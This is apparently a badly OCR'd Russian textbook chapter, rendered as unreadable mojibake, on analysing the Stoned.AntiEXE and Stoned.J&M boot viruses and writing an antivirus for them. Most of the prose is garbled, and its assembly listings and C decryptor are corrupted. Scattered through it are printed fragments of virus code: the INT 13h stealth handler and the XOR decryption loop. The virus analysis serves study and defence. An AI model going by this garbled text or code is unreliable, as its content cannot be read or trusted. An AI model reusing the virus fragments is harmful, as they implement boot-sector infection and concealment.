THHre b KawecTBe a^pecoB  npiiBeaeHbi CMemeHHa o t na>iajia Kojia. H a
npHMep, BunojiHeHHe BHpyca HaHHHaeTCH no CMemeHHio 0 -  c KoMaH/ibi 
6e3ycJiOBHoro n e p e x o ja , KOTopaa iiepeAaeT yripaBJienne Ha cjjparMeHT 

HHiiiiHa.TH3auHH no CMemeHHio 117h. YHHTbiBaH, hto Ha caMOM /je.’ie kozi 
BHpyca pa3MemaeTca b pern on e c aapecoM  0:7C00h, peajibHbifi azipec toh- 
k h nepexo^apaB eH  7C00H+117h=7D17h. IloAo6H biM «e o6pa30Mmojkho 

nepecHHTaTb h  3HaHeiiM jiioobix apvn ix  aapecoB. HeKOTopbie AroacceM - 
6jiepbi, HanpHMep ID A , iiosbujwiot BbinojiHHTb noAooHbui nepecneT aB- 
TOMaTHHeCKH.

Mccjieaya k o a  BHpyca, Aen<o bhacts,, h to  tf'par.MeHT HUHnnajiHaamiH 
Bbino.msieT p «A  aeiicTBHii:

O  KonnpyeT BeKTop npepwBamifl 13h b BeKTop D3h, hto6w oopa- 
maTbCM k a h c k o b m m  npoueAypaM BIOS ko m 3h a o h  <<INT D3b»;

O  H3MeH.aeT noAO/Kenne creKa;
O  « otkvcbiBaer»  o t CHCTeMHOii naMHTO 1 K6, TaK hto 3arpyjiceHHafl 

no3* e  MS-DOS ;itot 4>paraeHT liciiojibaoBarb ne ovAer;
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O  H3MeHHex b Ta6/rnue BeKTopoB npepwBaHHH azipec o6pa6oT4HKa 
npepbiBaHHH 13h TaK, hto6m  oh Tenepb yKasbiBaji BHyxpb «OTKy- 
caHHoH-> naMHra;

O  Kormpyex tcjio BHpyca b  «oTKycaHHyio» naMHTb h riepeziaex ynpaB 
JieHHe Ha s tv  KonHio.

OKa3aBUIHCb B «OTKycaHHOH» IiaMHTH, 4>parMCHT HHHlUiajIH3aUHH BH
pyca upoBepaeT, OTKy/ia Bbiiiojinajiacb 3arpy3ica, h ecjiH c /mcKerbi, to 3a- 
\iemaeT BHpycoM ceKTop {0,0,1} BiimecTepa, coxpaHHH cxapbiii no a^pecy  
{0,0,D }. /{jia cqiiTbiBaniia opunmajibHoro ceKTopa BHpycoM HcnojibayeT- 
ca Tenepb y»ce cbooo/ih m h  oycjjep b  na.vwra c a/tpecoM  0:7C00h.

Ecjih 3arpy3Ka Bbinojinajiacb c BHHHccTepa. to  6ojibine yace Himero ae- 
jiaTb He Haflo. /Ijih saBepmeiiHH pa6o r a  Biipycy /i0CTaT0riH0 noMecTHTb 

b cTeK cjioBa 0 h 7C00h, a n0T0M BbinojmHTb KOMaHJiy «R E T F » .  3 arpy3- 
Ka onepauHOHHOH cucTeMbi npoflOJiJKHTca TaK, cjiobho ee Bbiiiojififlji 6bi 
opMrKiiajibiibiH 3arpy3HHK.

OnepauHoHHaa cHOTeMa MS-DOS pacnpeiiejiHT CBOoo/uiyfo naMHTb 
(ne  y'lHTbiBatf «oTKVcaHHoroi> (|>parMeHTa), pa3MecTHT b Heii cboh koa h 

ZlaHHble, BCTpOHTCH B UenOHKH 06pa6OTMHKOB npepblBaHHH (He IIOAO.'ipe- 
Baa, cito MyTb p a H e e  b hhx yace BcrpoHJicH BHpyc) h HanneT cboio pa6oTy. 
Tenepb jno6aa cucTeMHaa hjih npiiKJiaaiiaa nporpaMMa, o6paTHBuiHCb 
K ceKTopy flHCKa nocpeacTBOM «IN T  13h», noiiaaex b o6pa6oT4HK, npn- 
HaflJieacamnii BHpycy.

3aBepmaa 6hctpm h anajiii3 BHpycHoro Koaa, aaBaHTe 3aocTpiiM cBoe 

BHiiMaHHe Ha Bonpoce: KaK *;e ycTpoeH sto t o6pa6oTMHK?
IlepBbie »ce a e iic T B H H  B n p y c H o r o  o 6 p a 6 o T w n K a  -  c o x p a n e H n e  K o jia  

onepaiiHH ( o h  H a x o / u u ic a  b  p e r n c T p e  AH) h  H e.w ejiJie iiH aa n e pe/ia 'ia  

y n p a B Jie H H fl o p u rH H a jib H O M y  o 6 p a 6 o T H H K y  / ih c k o b o i'o  n p e p b iB a H H H  n o -  

c p e a c TB O M  « I N T  D 3 h ». TaKHM 0 6 p a 3 0 M , Bee ziiicK O B bie o n e p a m iH , h h h -  

H H H p o iia iiH b ie  o n e p a iiH O H H O H  c h c t c m o h  h  n p u K Jia /iH W M H  n p o rp a M M a M ii, 

Iip O X O Jia T  « l l I T a T H O » .

New13:

bov byte p t r  cs:Save_AH, ah
m t  0D3h 
j c  Er r  _ 13

Ho i i o c j i c  T o r o .  KaK  AHCKOisaa o n e p a m ia  H o p M a jib H o  B b inoJ iH H Tca , 

yn p a B J ieH H e BHOBb 6 e p e T  Ha c e 6 a  BHpycubiii o6 p a 6 oT H H K . Tenepb o h  npo- 
BepaeT: a K a K o e  fleftcTBue, c o o c t b c h h o  r o B o p a , 6 b i, io  B b in o jiH eH O  - h t c -  

H iie  c e K T o p a , 3 a n n c b , c fw p M a T H p oB aH n e ;iopo>K K H  h j ih  H T o -H ii6 y a b  HHoe?

H. n p e>K iie  B cero  e r o  i iH T e p e c v e T , H e n p o w r a H  jih  b p eav jib Ta re  K aKoii- 

j ih 6 o  a h c k o b w h  c e K T o p .
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Pus'nf
crap Byte p t r  cs:Save_AH,2 
jn e  No_Read

c a l l  S te a lth  
Mo_Reao
popf 
tr r_ 1 3 : 
r e t f  2

\\ ec/in fibu io  iibiiio jineH O  h.m chho H T e iiH e, to .  n p e a y ie  hem b h h t h  H3 

oopa6o 'n iH K a  iipepbiuaHUM  h  n ep e aa T b  ynpaB/ieHPie B b i3 b iB a io iu e H  n p o -  

rpaM M e, B b inojiH aeTca n en aa  iipoye .n vpa, p aC o T aio m aa  c jie ;iy iom u M  oo - 

pa30M .

S te a ltn :

pusn es 
pop ds
taov ax. word p t r  cs : [ 0 ]
cifp ax, [b x ]
jn e  Not_EQ
mov ax,w ord p t r  c s : [ 2 ]
crop a x ,[D x + 2 ]
jn e  Not_EG
inov cx .w o rd  p t r  d s :[b x + 4 ] 
mov d n .b y te  p t r  d s :[b x + 6 ] 
nov a x ,201h 
i n t  0D3h

Not.EQ:

re tn

C y Tb  e e  a Jiro p iiT M a : e c . i i i  0 0 p a 6 0 T H iiK 0 M  6 b iJ ia  B b in o jm e H a  o n e p a m ia  

m t c h h h  h  b  6 y c |)e p e  c  a a p e c o M  ES:BX y a c e  x p a H H T c a  c o a e p x i iM o e  n p o -  

M H T a H H o ro  c e ic r o p a ,  t o  B H p y c  H a n H H a e T  n 0 c ; [e u 0 B a T e .? ib H 0  n p o B e p a T b ,  

a  H e  c o B n a a a io T  j i h  n e p B b ie  o a i iT b i  n p o H H T a n n o r o  c e K T o p a  c  k o / io m  c a .v to - 

r o  B H p y c a .  H  e c j i n  o rc a s H B a e T c a , h t o  n o  K p a f iH e n  M ep e 4  n e p B b ix  o a i lx a  

coB nafla ioT , t o  B H p y c  H 3B JieK aeT  co x p a H eH H b ie  K oopan n aTb i « c n p 5 m H H 0 -  

ro>> o p iirH H a .ib H o ro  3 a rp v 3 H H K a  ( o h i i  x p a n s r r c a  b  o a i i r a x  [ 4 ] ,  [ 5 ]  i i  [ 6 ] ,  

3aH H M aeM bix p a H e e  6 e c n o j r e 3 H o i i  m c t k o h  «M SDOS»), 3 a rp y > K a e T  b AH 
H H c .n o  2  ( k o h  K o y ,a H ; ib i  m tp h iih  c e K T o p a )  h  c a M o c T o a T e jib H o  B b m o jm a e T  

3 t o  H T e n i ie  b  «n 0Jib 30B aT e.n b C K H H » 6ycJ>ep.

TaKHM o S paso M , e c im  K aK aa-J inoo  n po rp aM M a  h jih  on epan H O H n aa  

C H C TeM a O O paTH TC H  K  AH C K O B O M V  ceKTOpy, B K O TO pO M  pea.flbHO «C H iI in >  

BH pyc, t o  b  6ycf)epe n a M H T H  n o c jie  o n e p a m m  HTeHHH oK aaeerca  He k o a
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BHpyca, a koa opuniHajibHoro 3arpy3HHKa. Bnpyc Ha AHCKe ecTb, ho ero
HeB03M <m H0 VBHAeTb!

3 to t  npiieM hocht HaHMeHOBaHiie <<CTejicnpoBaHne<> (o t  anrji. Hape- 
h h h  s te a lth , 03HaHaiomero «VKpaAKOH», «BTHXOMOJiKy», «He3aMeTHO»), 
a Biipycu , ncno;ib3yioinHe HeHTO no/io6Hoe. -  s te a lth -e u p y c u , hjih cm e jic -  

e u p y c u .

2 .3 .2 .  Pa3pa6oTKa aHTMBiipyca
rionpo6yeM npeacTaBHTb ce6e, h to  n oT p e 6 yeT ca , h to 6 m o6e3BpeAHTb 

Stoned.AntiEXE. AirraBHpycHaH nporpaMMa aojiacHa:
O  o 6 napy>KHTb k o a  BH pyca b  onepaTH BH oii naMjrra KOMnbiOTepa h 

0AH03H3HH0 HAeHTH4 )Hu,HpoBaTb e ro ;

O  o 6 e3 BpcAMTb stealth -M exaH H 3M  BH pyca, n o c jie  H ero mm noJiyn iiM  

B03M0>KH0CTb HanpHMyiO HHTaTb AHCKOBbie CeKTOpa 6e3 60H3HH, 

h t o  h x  coAepjK H M oe 6yA eT  noAMeneno;
O  o6e3Bpe/uiTb iiporie/iypy sapajKeHHH. BoccTanoBHB npeacnee 3Ha- 

neHHe BeKTopa n p e p b iB a m m  13h, nocjie Hero mw nojiyHHM B03- 
M0JKH0CTb HanpHMyfo nacaxb ancKOBbie ceKTopa 6e3 6 o h 3h h , h to  
hx coAep/KHMoe fn y iex  3aMemeH0 k oaom  Biipyca;

O  ooirapyacH Tb b  3arpy30H H bix ce ic rop ax  BHHHecrepa h  a h c k u t  b h - 

pycH biH  k o a  h  TaK/tce 0AH03H3HH0 HAeHTH(J)imHpoBaTb e ro  KaK KOA 

B iip y c a  Stoned .An tiEXE:
O  pa3biCKaTb no cMemeHHHM opnrHHa.irbHoe coaepacHMoe 3arpy30H- 

Hbix ceKTopoB Ha BHHHecTepe h AHCKexax h 3amicaTb h x  n a  h x  «3a- 
K0HH0e» MecTo (BnponeM, h Ha AHCKeTe, h Ha BH U 'iecxepe opnrH- 
H aji xpaH H Tca b {0 ,0 ,D } ) .

BHHMaTeJIbHblH HHTaTeJIb MO>KeT 33MeTHTb, HTO HepBbie TpH HVHKTa 

H aiueil nporpaM M bi a c h c tb h h  He h b jik io tch  H eo 6 xoAHMbiMH. B caMOM 

Aejie , 3arpy3H B iin icb  c o  «3 A o p o B o ii»  a h ck c tm , Mbi noJiyn iiM  b cB oe pacrio - 

pnaceHHe a6 co jiioTH o  h h c t v io  o t  KaKHX-Jin6 o  stealth-M exaiiHSM OB on ep a - 

th b h v io  na.MHTb KOMnbiOTepa. A  3HaHHT, m o jkho cm cjio  o 6 napv>KHB-aTb a  

VAaAHTb B iip vc  c a h c k o b u x  HaKojiHTe.’ie ii, He o riacaacb  n p 0THB0 AeitcTBna 

co crop oH b i K O B apnoro  B iipyca .

TeM He MeHee mu 6yAe.M oopoTbCH c Biipyco.vi He no ynpomeHHOMy aji- 
ropiiTMy, a <s itai< n 0Ji0>KeH0 ». BeAb, b Koime kohhob, m okct OKa3aTbca, 
hto 3apaxeHHa$i Maiuima ynpaBjraer aaepubiM peaKTopoM, ii nepe3arpy- 
acaTb ee npocTo nejib3H. KaK Bbi AVMaeie, sto  BepoaTHaa ciiTyanHa?

B KOMnbJOTepHOH B H p ycoJiorm i (h  He TOJibKo b neii) B aao ty io  pojib  

HrpaeT noHHTiie c u in a m y p u  BH pyca. B umpoKOM TOJiKOBaniiH c i in ia -  

ry p a  -  3 t o  yiiHKajibHaH «n o/u u iC b », 0AH03HaHH0 xapaKTepnayiOLuaa
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«aB Topa». P a 3 y.MeeTC.s1 , «noAm icb>> B iip yca  He HMeeT HHHero o 6 m ero  

c K aji.rarpa^jii'fecKU M M  BeH3ejiHMii, BbinoJiHeHHbiMH ryc iiH b iM  n epoM  Ha 

nepraMCHTe. Bupyc o/iH03Ha4H0 x ap aK Tep iia veT O i y jiH K a.ib iioH . t o  ecTb 

h h  b KaKiix /tpynix n p orp a .M M ax  He B c ip e 'fa r o m e w c a , K o .\ t6 H H a m ie [i 6m -  

t o b  (h j ih  aaace (^parM en roB  6aHT0B ). 3 t o  h  ecTb  c n r a a T y p a  B H p yca .

CiiraaTypH HcnoJib3yic>Tca He mnbKO jv v a  aexeKTOpoiiaHUH BHpycoB, 
ho h a.th paa.iiiMeHHH Ha6opoB flaiuibix, hmckhiihx cneuHcjbHMecKHe <{iop- 
MaTbi. HanpHMep, Bee 3arpy.30’jnwe ceKTopa xapaKTepnayjoTCfl curaa- 
TypoH AA55h, iicno/m>ie.MMe EXE-<|>aiiJibi nporpaMM -  crpoHKoii 'MZ', 
CTpyKTypHpOBaHHbie XpaHHJIHIUa /lOKyMeHTOB H 3JieKTp0HHbIX TaO.THU -
noc^caoBaxejibH ocTbK :) D O h  C F h  1 I h  EOh h  t .  n.

iJjiHHa BiipycHoii CHrnaTypbi mojkct 6biTb pa3Hoil. B  ii/jeane b Hee 
AOJmHa BxoflHTb bch nocToaHiiaa nacTb B H p y ca . Ho Ha momcht Hannca- 
sma 3THX CTpOK B MHpe HaCHHTblBajIOCb HeCKOJIbKO fleCHTKOB TblCflH pa3- 

JIIiHHblX $aiuiOBbIX H 3arpV30MHbIX BHpyCOB nJIIOC HeCKOJIbKO MHJIJIHO- 
HOB TpOflHCKHX IlpOrpa.MM. XpaHeHHC AJIHHHbIX CHTHaxyp TeXHHHeCKH 
HepanHOHaJibHO ii 3KOHOMi«ecKH He Bbiro/iHo. no3TOMy coBpeMeHHbie 
aHTHBHpycbi Hcnojib3yioT j im  ACTeKTiipoBaHiia BpeflOHOCHbix nporpaMM 
He caMH CHrHaTypbi. a numb KoumpojibHue cyM M u  ot hhx. ITohhtho, hto 
T aK o ii no;jxo/i necKO/ibKO cnnacaeT Haae^cHocTb o/iH03Havrnoro p a c n o 3Ha- 

BaHiiH. MeTOflbi, KOTopbiMii p em aeT ca  3Ta npoojieMa, 6yfl_yT paccMOTpeHbi 
b uoc.TeAHefl rjiase khiuti.

M b i S y /ie M  n c i i0 . ib 3 0 B a T b  j ij ih  p a c iioan aB aH H M  B H p y co B  n p o c T b ie  c i i r -  

H aT y p b i. I lo cK O Jib K y  b  aH T H B H p ycH bix  K O M iia n iia x  H c c jie a o B a m ie  B H p y co B  

n o cT a B Jie H o  Ha n0T0K, t o  n p o n e c c  Bbifiopa c n r n a T y p  TaM , K aK  ripaBH.'io, 

aBTOM 3TH3HpOBaH. M b i  5Ke, He CBSt33HH bie TpeSoBaH H SIM H  CKOpOCTHOI'O 

M a c c o B o r o  n p o n 3 B o a c T B a  ^ j i c i h j i o k * - ,  HM eeM  B03M <»K H 0CTb 6 o j i e e  T in a - 

T e jib n o r o  B b io o p a  cu raaT ypb i. II o s t o m y  b  H a ii in x  n p iiM e p a x  ncuejim oiU H X  

nporpaMM c u rH a T y p b i 6 y ; i y r  k o p o t k h m h  -  H e 6 o ; i e e  aecM T K a oaH TO B, 3aTO 

OHeHb HHcj)OpMaTHBHWMH.

FoBopji o CHrnaTypax, neB03M0>KH0 ne ynoM m yrb oflHy 3ann.MaTe.ib- 
Hyio HCTopnio, paccKasaHHyro o/uia>K;u>i b TejieKom}>epeHniiH relcom. 
comp.vims /I. O. Ip>i3H0BbiM:

Ha 3ape B M p y cH O -a H T M B u p y c H o ti a n o n e n ,  Korffa B u p y c o B  6 b in o  B C e r o  

H m e r o  i/i C K a H e p b i 6 b i/ in  m m b h h o  C K a n e p a M M , t o  e c r b  n p o c M a T p m a i iM  

B e c b  (p a w n  u e n m o M  n a  n p e / jM e r  H a n m w a  o n p e f le / ie H h io t i  n o c n e p ,o -  

B a TertbH ocT i/ i 6 a m  -  tom camom « c n m a T y p b i » ,  a m  «C M r H a r y p b i »  fl,ePt- 
CTBM TeJlbH O 6 b t m  H eM -TO  UeHHbIM  M p a C C M a T p m a n iA C b  H eK O TO pb lM H  

KaK K O M M e p n e c K a a  T a tin a , « k n o w - h o w » .  3 a  K a x f lb iM  h o b l , im  B w p y c o M
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roHRJiMCb, o k  »  He 3Haio 3a neM. E c jih  KOHKypem odnapyxM Ban Ha 

OAMH-flBa BHpyca Gonbiue, g r o  6bi/ia K aracrpcxpa ! B o t  h  n e p r a m  

8 orcy rcTB M e «x H B o ro »  B npyca  a m  caM bte cum aTypb i A p y r  y n p y ra ... 

Hy, Jo h n  M c A fe e  h  n oon oxH / i cBHHbto norenum /ibH biM  K om y p eH - 

raM  -  «xa K ep a M », b6 h b  b c b o h  S ca n , n a p w y  c  pea/tbHb/MH BH pyca- 

mh, napo^K y JiunoBbtx «cH m a T y p »... 1/13 r a m x  m n o B b ix  «c M m a ry p »  
BcnoMMHaeTCfi jneficTB m enbH o /lereH^apHbiH «B u p y c » N ich o ls , 3a 

K oropbiM  ecfl aHTMBMpycHaa 6 p a r m  ( 3a HCKmoneHHeM M c A fe e , p a 3 - 

y M e e rca ) 6 e3 ycn eu iH o  r o m n a c b  HecKO/ibKO sier. f lp m e M , 6nhh, e ro  

ae/jb «B M A e m i»! flpHM epHO KaK ceroM Ha n e K o ro p y e  «b h a ,9 t» S m n c a  

f l p e c m  t o  raM , t o  czm . .. B e e  a ro  6u/io b n p u M e p n o  1 9 8 6 -1 9 8 8  rr. 

C  r e x  n o p  m h o to  bo/ jw  yreK/io...

H raK , aaiiMe.vtca H enocpeacTB eH H ofi pa3pa60TK0H a u ra  BHpyca.

IU ar 1. Upcac/ie ecero hcoSxc/jumo ofiirapyxcHTb Biipyc b 0 3 y. M:nr'iaH 

ajiropHTM pa&oTW Stoned .AntiEXE , mh npnuuiH k bhboav, mto arpec- 
CHBHbiii koa pacnojiaraeTCfl b oneparaBH oh naMHTii iscer/ia b oahom h tom 

>Ke MecTe, a hmchho b cKptrroM o t  onepaunonuoii chctcmh noc.'ie/ine.M 

KHAo6afiTe ochobhoh naMHTH. KoHKperaue aApeca jictko BbiHHcjmTb Ha 

0CH0B3HHH HHCjjOpMaHHH, IipiIBe/leHHOH B nO.THOM JIHCTIIHre BHpyCHOTO 

KOfla (cm. npmiojKeHne). OopaTHM BHHMaHHe Ha cvieAyioiiniii cfjparMeHT 

npoueavpbi o6pa6oTKH ahckoboto npepbiBaHHH (c/ieBa yKa3aHbi a^peca 

h 3Ha'ieHH5J 6aiiT0B):

C02C 2E: A3 0007 #ev word p t r  cs:Save_AX,ax
C03C CO D3 i n t  0D3h
0032 72 4A j c  E rro r
C034 9C pushf
0035 2E:80 3E 0008 02 cmp cs:S ave .A X *1 ,2
003B 75 40 jn e  OK

Bbi6epeM b KaMecTBe curHaTypbi 8 6‘ahtob, pa3MemeHHbix nocJieAosa- 
Te.TbHO, Ha'fiinaH c aapeca 35h: «2 E  80 3E 00 08 02 75 4 D  •>.

TaKHM 06pa30M, ec.mi b onepaTHBHofi naMHTii no cMeuiennio 9FC0h:35h  

0Ka>KyTCH HMeHHO 3TH oaHTbi, to  6y/(e.vr ciHTHTb. >iTO BHpyc Stoned. 
A n tiE X E  npucvTCTByeT b naMHTii, h oh aKTiiBen.

U lar 2. Tenepb pa3pa6oTaeM ruian HeiiTpaJinaanHH BHpyca b naMHTH. 
OopaTHM cboh B30p Bee Ha to t  >Ke (^parweHT, b kotopom MbI Bbl6pa.HII 
8 oaiTTciB b KanecTBe cnrnaTypbi. /lejio b tom, hto ziecrpykthbhbiii a;iro- 
piiTM BHpyca, a TaioKe npoue/iypa noflMCHbi ceKropoB h sapaacennn ahc- 
Ker HHKoraa ne noJiynaT yripaB/iemiH, ecjiH s to t (JjpanueHT oyfleT Bur.aa- 
Aeib, HanpHMep, bot Taic
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002C 2E:A3 0007 rcov wara p t r

0030 CD D3 m i 0D3h
0032 72 4A jc E rro r
0034 9C pushf

0035 90 nop
0036 90 nop
0037 90 nop
0038 90 nop
0039 90 nop
003A 90 nop
003B EB 40 3»P OK

Tenepb craHOBHTca nonHTUbiM, zna nero mm Bbi6pa.nn cbokj ciirHaTvpy 

HMeHHO B 3TOM MeCTe. MbI Co6lipaeMCH H 3M eH IITb  3T0T c j)p arM eH T  CBOHM 

aHTHBHpyCOM. A  nOTOM Bceraa CMO/KCM paSJIHMHTb'. 3T0 aKTMBHHH BHpyc 

hjih y>Ke <v6hthh>>. B  iipothbhom cJiynae HaM npmiuiocb 6bi Hcn0Jib30- 
BaTb ;iBe curaaTypbi b AByx pa3Hbix MecTax.

Pa3yMeeTC», HaM npocTO noBe3Jio, hto b Bupyce H m u e jica  TaKoh «y / io 6 -  

Hbiii» 4)Pa™ eHT> HSMeHenHCM KOToporo mh HeHTpaJiii3yeM cpa3y Tpa 

HeaceJiaTeJibHbix arpeccHBHhjx MexaHH3Ma. B  o6meM cjiynae npiiiujiocb 

6bi peuiaTb Bee sth  npo6jieMbi no OT,aejibHOCTH. Xoth, K0HeMH0, b sanace 

y Hac B c e ra a  HMeeTca raKon MomiibiH h 6e30TKa3Hbift npneM, KaK ooHa- 
pyacemie b Tejie BHpyca coxpaHeHHoro 3HalieHHa o p iin m a jib H o ro  bckto- 
pa npepbiBamiH 13h h B03BpaT ero Ha 3aK0HH0e MecTO. KoHKpeTHO, ^jih 

cjiynaa BHpyca Stoned-AntiEXE . npiinuiocb 6bi B3HTb /[BoiiHoe cjiobo no 

a a p e c y  0:34Ch h nepenncaTb ero b 0:4Ch. 3 to  ropa3/io npome, ho aajieKo 

He TaK noyHHTejibHD.
U la r  3. CnJiaHHpyeM yaajiemie B iip y c a  H3 sarpyson hux ceKTopoB anc- 

KeT h BHHMecTepa. Bo-nepBbix, [r;o6xozuimo npo'mraTb ceKTop c Koopaii- 
HaTaMH {0,0,1} b MaccHB pa3MepoM 512 oaHxoB. B KanecTue cHrnaTypu 

V ia pa3JiH4eHHa <?3;iopoBoro«. ii « 6o;ibHoro» ceKTopoB mojkho c ycnexoM 

Hcnojib30Ban> Bee tc >fce 8 6aiiT0B, T0.nbK0 Tenepb ohh 6y/iyi pa3MemaTb- 
ca b MaccHBe, HaniiHaa c  umeKca 35h.

Ecjiii mh npoquTajiH ceKTop {0,0,1} c Jinci«-Tbi h oh 0Ka3ajica 3apaaceH 

BiipycoM Stoned .AntiEX E , to  hv>kho B3aTb c. toii ace aiiCKeTbi coaepacn- 
woe ceKTopa c a/ipecoM, napaMe'rpbi KOToporo (snaHemie penicTpa DH  
npn Bbi30Be Int13h) coxpaneHM b Biipyce no cMemeimio 6, n nepe3ann- 
caTb ero b 3arpy3HHK. i i m i  BimnecTepa nponeaypa aHajioniMiia, TOjibKO 

a^pec «njieHHoro)> 3arpv3HHKa nocTOHnen: {0,0,0Dh}.
H cxoflim ii tckct na asbiKe Cn ajih upoue/iyp, o&iiapy>KHBaromnx n 

HeiiTpajinayiouiHx 3arpy304Hbiu BHpvc Stoned .AntiEXE , HaxoAivrca 

B npHJioaceiiiiii. /iocryn k kohkpcthm m  /ih ckobm m  cetcropaM ocyuiecTB-
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jiseTCH n p n  n oM om u 4>v h k u h h  b io s d is k () , a  BbiGopKa h  aaM euieim e aaH - 
Hbix b 0 3 Y  -  npw oom oiuh  M aKpocoB p e e k b Q  11 p o k e b () .

2 .4 . PeAKO BCTpeHaKDiunecFi 0C06eHH0CTH
CmpaHHOcrnu... H e m  h w c o k u x  crnpentuocmeu. 

Ecmt> npocrno n ep om ocm a ...

A . m  B . C Tp y ra u K n e . « r io n u T K a  k  6 e rc TB y »

KaK M bi MorjiH y 6eanrbCH H ecK oabK iiM H  crpanHnaMii Bbirne, npHHUHn 
/ICHCTBHfl 3 a rp y 3 0 H H b IX  B Iip y C O B  BeCbM a npOCT. B u JIb lllH H C T B O  3 a r p y -  

3 0 H H H X  BHpycoB B e cb M a  n o x o jK H  flpyr H a  a p y r a .  O f ln a K O  ue.iecoo6pa3Ho 
p a cc .M O Tp e Tb  H a H o o jie e  nacTO B C Tp e H a io m n e c H  a Han6o;iee Baacubie oco- 
6 e H H 0 C TH , K 0 T 0 p b ie  Moryr B C T p e n iT b c a  b  nponecce joynerum  n  y m iM T O - 

yKCHIW  3 a rp V 3 0 y H b IX  BHpyC-OB.

2 . 4 . 1 .  3auuM (t>poB aH H b ie  B u p y c w

C pa3y noc.'ie BKJiioHeimfl miTamiH npoijeccopbi ceMeiicTna i80x86 naqH- 
HaioT p a 6 oTy b TaK Ha3biBaeM0M p e a m u o M  pesKHMe. B arax  v c jio b h h x  o t -  
cyTCTBjooT KaK0 e -jin 6 o  MexaHH3Mbi sauiHTbi naMHTH, m to 03H anaeT h oji- 
Hyio B03M0>KH0CTb CaMOMOflMcJ)HKaUHH npOrpaMMHOTO KOfla. PaCCMOTppJM 
4>parMeHT jmcTHHra BHpyca Stoned.J&M:
; Opi-irtiHa/JbHhiii koc 
imp $0

$0: c i i
xor ax., ax
mov s s .a x
usov ds.ax
rrov sp,7CC0
c i i
xor ax,ax
irov ss.ax
soy ds,ax
®ov sp,7C00
s t i
; dpoueflypa paciiinopoekw 
mov ox, o f f s e t  $1
ii 0V c x ,0 '7 E
$2: nnv ah,[bx'i
xor ar.FF
mov [ ox j , all
tn c  ox
loop %?.

op.ifMenT no ii nnoiie
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$1: pop Si. ; mov a x , [00413 ]
in a l,  Cx ; sub a x ,0002
S t l ; tov [0 0 4 1 3 ],ax
sa r ch, c l ; rcov c l . 06
c a l l [siJCOFFEC] ; s h l ax, c l
S t l ; s h l ax, c l
dec s i ; push ax
SIC ; pop es
sub a l,  IF ; mov b x ,0200
scasw ; nicy a x ,0201
c lc ; mov c x ,0001
in c sp ; xo r dn,dh
??9 bp ; mov d l . [07BD8]

Ha'-rajio B H p y c a  Bbir;i»AiiT aobojimio Tpa/umn ohiio, ho c a/tpeca nawa- 
TH, CHMBOJIHHecKH nOMeHeHHOrO KaK «$ 1 », HaHIIHaeTCH CTpaHHO BbHTia- 
flamaa [KX'iieaoBaTejibHocTb KOMana, Macxb 113 KOTopwx aa»ce He noaaa- 
ercsj flH3acceM6j[iipoBaHHK). B TaKOM coctohhiih, b KaKOM koa HaxoflHTca 

b MOMeHT cTapTa BHpyca Stoned.J&M, oh He iioziae/KHT ncnojmeHHio. 
K0HeTiH0, Ka^KziaH oT/iejibHO B3HTafl KOMan/ia «6e3yMHoro» Kozia hto-to  

03HaliaeT h aaace mojkct 6bin> B0c.np1m.HTa ripoqeccopoM KaK BnojiHe Jie- 
raJibHaa. H o Bee BMecTe ohh, Bbirro/iHHeMbie nocjieflOBaTeJibHO, He MoryT 

npHBeCTH HH K MeMV IIHOMV, KpOMe KaK K TX^KeJIOMV «IIOZIBHCaHHK>» Ma- 
uiiiHbi. rioaTOMy nepea TeM, KaK nepeaaTb ynpaBJienne Ha «6e3yMHbiH» 
(JjparaeHT, BHpyc npHMeHaeT k 3Haqem iaM  ero DaHTOB onepaumo, 06- 
paTHVKD Toil. KaKOBaa 6biJia HcriojibaoBana npw 3aiunt})poBKe Ko/ia. J ln a  

3toh ue/iH oneHb HacTO HcriojibsyeTcsf onepaima «X O R » .  npHBJieKaiomaa 
CBoeii <*camochmMetph 1 n to c tb k j:

<CTapoe 3Ha’ieHHf'>©<K jifOH>=<HoBoe 3HaHemie>;
< H o B o e  3 HalieH H e>© <K .?H O ti> = < C T a p o e  3HaHemie>.

IIpHM epHO TaKHM ace cb o h c tb o m  oo .'ia a a io r  onepauH H  « N O T »  h 

«N E G » ,  HO OHH He n03B0JI5H0T BapblipOBaTb KJH04 LIIHcfipOBaHHH. To 'Me 

caM oe M05KH0 CKa3aTb h  n p o  o n ep am ra  ooM eH a MecTaMH HacxeH p ern cT p a  

h jih  HHeiiKii naiviaTii: /mh 16-6HTOBoro c jioB a  ee  m ojkho peaju i30BaTb ko- 

MaH^oH «X C H  G>>, a #Jia 8 -6 H T O B oro  n a iira  -  Ko.wan/iaMH «R O  L,> i i j ih  

«R O R » .  BcTpeH aroxca h  a p y n ie  apHcj^M eniHecKiie h  J iora 'iecKJie on epa- 

UHH, HO OHH T p e 6 jT 0 T npHM 6HeHHH B IimcjjpOBIUHKaX II paCUIH(J)pOBmH- 

Kax « 3 epKaji.bHo-CHMMeTpHliH b ix » Ko.viaH/i: jy ia  « A D D »  s t o  « S U B » ,  zijih 

«S H L »  s to  «S H  R » 11 t .  n. B o t  iio n eM y  aB Top u  BiipycoB o 6 i>ihho n o jibay - 

io tc h  jijih  3aiUHc})poBKH cB oero  Ko/ia o n e p a m ie f i ^ iicK J ircm rom ee

3a^eM Bee 3to ae.iaeTca? 1I t o 6 h  HVTb-Myrb 3arpyaHHTb >kh3hb Biipy- 
co.iory, H3yMaiomeMV ko;i. Biipycojior BMHyacaeH 6yjier npiiMeHirrb oflHH 

H3 cjieayioimix noaxoaoB.
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B o-n ep B b ix , o h  MoaceT BbinojiHHTb noxnaroByio TpaccupoBKV  Kozia 
b  OTJiaflHHKe Bochs. B  s to m  cjiynae BHpyc Ha rjiasax y BHpycojiora caM 
pacuiHcJjpyeT ceoH.

H jih BHpyconor movkct noMecTHTb coaepacHMoe noao3pHTejibHoro 
ceicropa b  cjjaflji h HanncaTb crieuHajibiiyio zieKoflHpyiomyio nporpaMMy, 
HanpHMep TaKyio:

/ /  PaciiiHijpoBKa t'ona BHpyca Stoned JSM 
(( in c lu d e  < s td io .h >
(( in c lu d e  <10. h>
(( in c lu d e  < fc n t l .h >
in t  f ,  i ;  unsigned char b u f [5 1 2 ];
m a in ( )
i

f  -  open("J&M. B IN", 0_RDWR10_8INARY);
re a d ( f ,  Duf, 512);
f o r  (1 = 0 x 3 9 ;i< 0x17E + 0x39 ;i+ + ) b u f[i]~ = 0 x F F ;
: se e < ( '.  0, SEEK.SET); 
w r i t e ( f ,  b u f, 512); 
c l o s e ( f ) ;

}

Eme O/IHOH B03M0»CH0CTbI0 HBJWeTCfl HCn0JIb30BaHHe CpeACTB HHTepaK- 
